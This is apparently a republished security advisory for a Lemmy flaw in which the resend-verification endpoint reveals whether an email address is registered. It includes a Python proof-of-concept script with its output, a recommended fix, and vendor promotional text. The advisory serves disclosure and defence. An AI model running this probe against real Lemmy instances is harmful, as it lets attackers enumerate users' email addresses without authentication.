GHSA-qxrw-f6fh-34r7
Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users
Blast Radius
lemmy_apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to /api/v4/account/auth/resend_verification_email and distinguish accounts from misses.
Details
resend_verification_email() looks up the submitted address and returns the lookup error to the caller:
let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;
check_local_user_valid(&local_user_view)?;
The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.
Proof of Concept
The following script creates one user and probes that address plus a missing address.
import requests, random, string
BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"
def post(path, **body):
return requests.post(BASE + path, json=body)
suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
json={"registration_mode": "open", "email_verification_required": False})
email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
password_verify=PASSWORD, email=email).raise_for_status()
for candidate in [email, "missing" + suffix + "@example.test"]:
r = post("/account/auth/resend_verification_email", email=candidate)
print(candidate, "HTTP", r.status_code, r.text[:300])
Output:
[email protected] HTTP 200 {"success":true}
[email protected] HTTP 404 {"error":"not_found","cause":"Record not found"}
Impact
A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because check_local_user_valid() returns separate error types.
Recommended Fix
Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return {"success": true} for syntactically valid input.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | lemmy_api | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of lemmy_api has shipped for GHSA-qxrw-f6fh-34r7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qxrw-f6fh-34r7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qxrw-f6fh-34r7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qxrw-f6fh-34r7 in your dependencies?
O3 detects GHSA-qxrw-f6fh-34r7 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.